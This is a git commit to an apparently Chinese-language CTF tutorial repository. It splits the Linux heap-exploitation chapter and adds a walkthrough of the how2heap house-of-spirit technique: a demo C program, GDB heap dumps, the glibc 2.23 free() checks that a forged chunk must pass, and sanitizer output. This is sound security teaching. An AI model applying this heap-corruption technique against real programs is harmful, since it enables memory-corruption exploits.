finish 3.3.5; add 3.3.6

This commit is contained in:
firmianay 2018-01-13 00:12:48 +08:00
parent 468faf85db
commit 4e9a45ed9d
7 changed files with 282 additions and 35 deletions

View File

@ -69,7 +69,8 @@
- [3.3.2 整数溢出](doc/3.3.2_integer_overflow.md) - [3.3.2 整数溢出](doc/3.3.2_integer_overflow.md)
- [3.3.3 栈溢出](doc/3.3.3_stack_overflow.md) - [3.3.3 栈溢出](doc/3.3.3_stack_overflow.md)
- [3.3.4 返回导向编程ROP](doc/3.3.4_rop.md) - [3.3.4 返回导向编程ROP](doc/3.3.4_rop.md)
- [3.3.5 堆利用](doc/3.3.5_heap_exploit.md) - [3.3.5 Linux 堆利用(上)](doc/3.3.5_heap_exploit_1.md)
- [3.3.6 Linux 堆利用(中)](doc/3.3.6_heap_exploit_2.md)
- [3.4 Web](doc/3.4_web.md) - [3.4 Web](doc/3.4_web.md)
- [3.4.1 SQL 注入利用](doc/3.4.1_sql_injection.md) - [3.4.1 SQL 注入利用](doc/3.4.1_sql_injection.md)
- [3.4.2 XSS 漏洞利用](doc/3.4.2_xss.md) - [3.4.2 XSS 漏洞利用](doc/3.4.2_xss.md)

View File

@ -60,7 +60,8 @@ GitHub 地址https://github.com/firmianay/CTF-All-In-One
* [3.3.2 整数溢出](doc/3.3.2_integer_overflow.md) * [3.3.2 整数溢出](doc/3.3.2_integer_overflow.md)
* [3.3.3 栈溢出](doc/3.3.3_stack_overflow.md) * [3.3.3 栈溢出](doc/3.3.3_stack_overflow.md)
* [3.3.4 返回导向编程ROP](doc/3.3.4_rop.md) * [3.3.4 返回导向编程ROP](doc/3.3.4_rop.md)
* [3.3.5 堆利用](doc/3.3.5_heap_exploit.md) * [3.3.5 Linux 堆利用(上)](doc/3.3.5_heap_exploit_1.md)
* [3.3.6 Linux 堆利用(中)](doc/3.3.6_heap_exploit_2.md)
* [3.4 Web](doc/3.4_web.md) * [3.4 Web](doc/3.4_web.md)
* [3.4.1 SQL 注入利用](doc/3.4.1_sql_injection.md) * [3.4.1 SQL 注入利用](doc/3.4.1_sql_injection.md)
* [3.4.2 XSS 漏洞利用](doc/3.4.2_xss.md) * [3.4.2 XSS 漏洞利用](doc/3.4.2_xss.md)

View File

@ -1,4 +1,4 @@
# 3.3.5 堆利用 # 3.3.5 Linux 堆利用(上)
- [Linux 堆简介](#linux-堆简介) - [Linux 堆简介](#linux-堆简介)
- [how2heap](#how2heap) - [how2heap](#how2heap)
@ -7,14 +7,6 @@
- [fastbin_dup_into_stack](#fastbin_dup_into_stack) - [fastbin_dup_into_stack](#fastbin_dup_into_stack)
- [unsafe_unlink](#unsafe_unlink) - [unsafe_unlink](#unsafe_unlink)
- [house_of_spirit](#house_of_spirit) - [house_of_spirit](#house_of_spirit)
- [poison_null_byte](#poison_null_byte)
- [house_of_lore](#house_of_lore)
- [overlapping_chunks](#overlapping_chunks)
- [overlapping_chunks_2](#overlapping_chunks_2)
- [house_of_force](#house_of_force)
- [unsorted_bin_attack](#unsorted_bin_attack)
- [house_of_einherjar](#house_of_einherjar)
- [house_of_orange](#house_of_orange)
- [参考资料](#参考资料) - [参考资料](#参考资料)
@ -206,6 +198,17 @@ Allocating 3 buffers.
``` ```
这个程序展示了利用 fastbins 的 double-free 攻击可以泄漏出一块已经被分配的内存指针。fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。 这个程序展示了利用 fastbins 的 double-free 攻击可以泄漏出一块已经被分配的内存指针。fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。
libc-2.23 中对 double-free 的检查过程如下:
```c
/* Check that the top of the bin is not the record we are going to add
(i.e., double free). */
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
```
三个 malloc 之后: 三个 malloc 之后:
``` ```
gef➤ x/15gx 0x602010-0x10 gef➤ x/15gx 0x602010-0x10
@ -798,22 +801,203 @@ allocated by thread T0 here:
``` ```
#### house_of_spirit #### house_of_spirit
```c
#include <stdio.h>
#include <stdlib.h>
#### poison_null_byte int main() {
malloc(1);
#### house_of_lore fprintf(stderr, "We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.\n");
unsigned long long *a, *b;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
#### overlapping_chunks fprintf(stderr, "The first one: %p\n", &fake_chunks[0]);
fprintf(stderr, "The second one: %p\n", &fake_chunks[4]);
#### overlapping_chunks_2 fake_chunks[1] = 0x20; // the size
fake_chunks[5] = 0x1234; // nextsize
#### house_of_force fake_chunks[2] = 0x4141414141414141LL;
fake_chunks[6] = 0x4141414141414141LL;
#### unsorted_bin_attack fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[0]);
a = &fake_chunks[2];
#### house_of_einherjar fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);
#### house_of_orange fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[0], &fake_chunks[2]);
b = malloc(0x10);
fprintf(stderr, "malloc(0x10): %p\n", b);
b[0] = 0x4242424242424242LL;
}
```
```
$ gcc -g house_of_spirit.c
$ ./a.out
We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.
The first one: 0x7ffc782dae00
The second one: 0x7ffc782dae20
Overwritting our pointer with the address of the fake region inside the fake first chunk, 0x7ffc782dae00.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7ffc782dae00, which will be 0x7ffc782dae10!
malloc(0x10): 0x7ffc782dae10
```
house-of-spirit 是一种 fastbins 攻击方法,通过构造 fake chunk然后将其 free 掉,就可以在下一次 malloc 时返回 fake chunk 的地址即任意我们可控的区域。house-of-spirit 是一种可以同时控制栈和堆溢出的方法。利用的第一步不是去控制一个 chunk而是控制传给 free 函数的指针,将其指向一个被 fake chunk。所以 fake chunk 的伪造是关键。
首先 malloc(1) 用于初始化内存环境,然后在 fake chunk 区域伪造出两个 chunk。另外正如上面所说的需要一个传递给 free 函数的可以被修改的指针,无论是通过栈溢出还是其它什么方式:
```
gef➤ x/10gx &fake_chunks
0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- fake chunk 1
0x7fffffffdcc0: 0x4141414141414141 0x0000000000000000
0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2
0x7fffffffdce0: 0x4141414141414141 0x0000000000000000
gef➤ x/gx &a
0x7fffffffdca0: 0x0000000000000000
```
伪造 chunk 时需要绕过一些检查,首先是标志位,`PREV_INUSE` 位并不影响 free 的过程,但 `IS_MMAPPED` 位和 `NON_MAIN_ARENA` 位都要为零。其次,在 64 位系统中 fast chunk 的大小要在 32~128 字节之间。最后,是 next chunk 的大小,必须大于 `2*SIZE_SZ`即大于16小于 `av->system_mem`即小于128kb才能绕过对 next chunk 大小的检查。
libc-2.23 中这些检查代码如下:
```c
void
__libc_free (void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
[...]
p = mem2chunk (mem);
if (chunk_is_mmapped (p)) /* release mmapped memory. */
{
[...]
munmap_chunk (p);
return;
}
ar_ptr = arena_for_chunk (p); // 获得 chunk 所属 arena 的地址
_int_free (ar_ptr, p, 0); // 当 IS_MMAPPED 为零时调用
}
```
`mem` 就是我们所控制的传递给 free 函数的地址。其中下面两个函数用于在 chunk 指针和 malloc 指针之间做转换:
```c
/* conversion from malloc headers to user pointers, and back */
#define chunk2mem(p) ((void*)((char*)(p) + 2*SIZE_SZ))
#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))
```
`NON_MAIN_ARENA` 为零时返回 main arena
```c
/* find the heap and corresponding arena for a given ptr */
#define heap_for_ptr(ptr) \
((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))
#define arena_for_chunk(ptr) \
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
```
这样,程序就顺利地进入了 `_int_free` 函数:
```c
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
[...]
size = chunksize (p);
[...]
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
[...]
errstr = "free(): invalid next size (fast)";
goto errout;
}
[...]
set_fastchunks(av);
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
[...]
do
{
[...]
p->fd = old2 = old;
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
```
其中下面的宏函数用于获得 next chunk
```c
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
```
然后修改指针 a 指向 (fake chunk 1 + 0x10) 的位置,即上面提到的 `mem`。然后将其传递给 free 函数,这时程序就会误以为这是一块真的 chunk然后将其释放并加入到 fastbin 中。
```
gef➤ x/gx &a
0x7fffffffdca0: 0x00007fffffffdcc0
gef➤ x/10gx &fake_chunks
0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- fake chunk 1 [be freed]
0x7fffffffdcc0: 0x0000000000000000 0x0000000000000000
0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2
0x7fffffffdce0: 0x4141414141414141 0x0000000000000000
0x7fffffffdcf0: 0x0000000000400820 0x00000000004005b0
gef➤ heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x7fffffffdcc0, size=0x20, flags=)
```
这时如果我们 malloc 一个对应大小的 fast chunk程序将从 fastbins 中分配出这块被释放的 chunk。
```
gef➤ x/10gx &fake_chunks
0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- new chunk
0x7fffffffdcc0: 0x4242424242424242 0x0000000000000000
0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2
0x7fffffffdce0: 0x4141414141414141 0x0000000000000000
0x7fffffffdcf0: 0x0000000000400820 0x00000000004005b0
gef➤ x/gx &b
0x7fffffffdca8: 0x00007fffffffdcc0
```
所以 house-of-spirit 的主要目的是,当我们伪造的 fake chunk 内部存在不可控区域时,运用这一技术可以将这片区域变成可控的。上面为了方便观察,在 fake chunk 里填充一些字母,但在现实中这些位置很可能是不可控的,而 house-of-spirit 也正是以此为目的而出现的。
加上内存检测参数重新编译,可以看到问题所在,即尝试 free 一块不是由 malloc 分配的 chunk
```
$ gcc -fsanitize=address -g house_of_spirit.c
$ ./a.out
We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.
The first one: 0x7fffa61d6c00
The second one: 0x7fffa61d6c20
Overwritting our pointer with the address of the fake region inside the fake first chunk, 0x7fffa61d6c00.
Freeing the overwritten pointer.
=================================================================
==5282==ERROR: AddressSanitizer: attempting free on address which was not malloc()-ed: 0x7fffa61d6c10 in thread T0
#0 0x7fc4c3a332ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
#1 0x400cab in main /home/firmyy/how2heap/house_of_spirit.c:24
#2 0x7fc4c35f182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#3 0x4009b8 in _start (/home/firmyy/how2heap/a.out+0x4009b8)
```
## 参考资料 ## 参考资料

View File

@ -0,0 +1,30 @@
# 3.3.6 Linux 堆利用(中)
- [how2heap](#how2heap)
- [poison_null_byte](#poison_null_byte)
- [house_of_lore](#house_of_lore)
- [overlapping_chunks](#overlapping_chunks)
- [overlapping_chunks_2](#overlapping_chunks_2)
- [house_of_force](#house_of_force)
- [unsorted_bin_attack](#unsorted_bin_attack)
- [house_of_einherjar](#house_of_einherjar)
- [house_of_orange](#house_of_orange)
[下载文件](../src/Others/3.3.5_heap_exploit)
#### poison_null_byte
#### house_of_lore
#### overlapping_chunks
#### overlapping_chunks_2
#### house_of_force
#### unsorted_bin_attack
#### house_of_einherjar
#### house_of_orange

View File

@ -4,4 +4,5 @@
- [3.3.2 整数溢出](3.3.2_integer_overflow.md) - [3.3.2 整数溢出](3.3.2_integer_overflow.md)
- [3.3.3 栈溢出](3.3.3_stack_overflow.md) - [3.3.3 栈溢出](3.3.3_stack_overflow.md)
- [3.3.4 返回导向编程ROP](3.3.4_rop.md) - [3.3.4 返回导向编程ROP](3.3.4_rop.md)
- [3.3.5 堆溢出](3.3.5_heap_overflow.md) - [3.3.5 Linux 堆利用(上)](3.3.5_heap_exploit_1.md)
- [3.3.6 Linux 堆利用(中)](3.3.6_heap_exploit_2.md)

View File

@ -0,0 +1,30 @@
#include <stdio.h>
#include <stdlib.h>
int main() {
malloc(1);
fprintf(stderr, "We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.\n");
unsigned long long *a, *b;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "The first one: %p\n", &fake_chunks[0]);
fprintf(stderr, "The second one: %p\n", &fake_chunks[4]);
fake_chunks[1] = 0x20; // the size
fake_chunks[5] = 0x1234; // nextsize
fake_chunks[2] = 0x4141414141414141LL;
fake_chunks[6] = 0x4141414141414141LL;
fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[0]);
a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[0], &fake_chunks[2]);
b = malloc(0x10);
fprintf(stderr, "malloc(0x10): %p\n", b);
b[0] = 0x4242424242424242LL;
}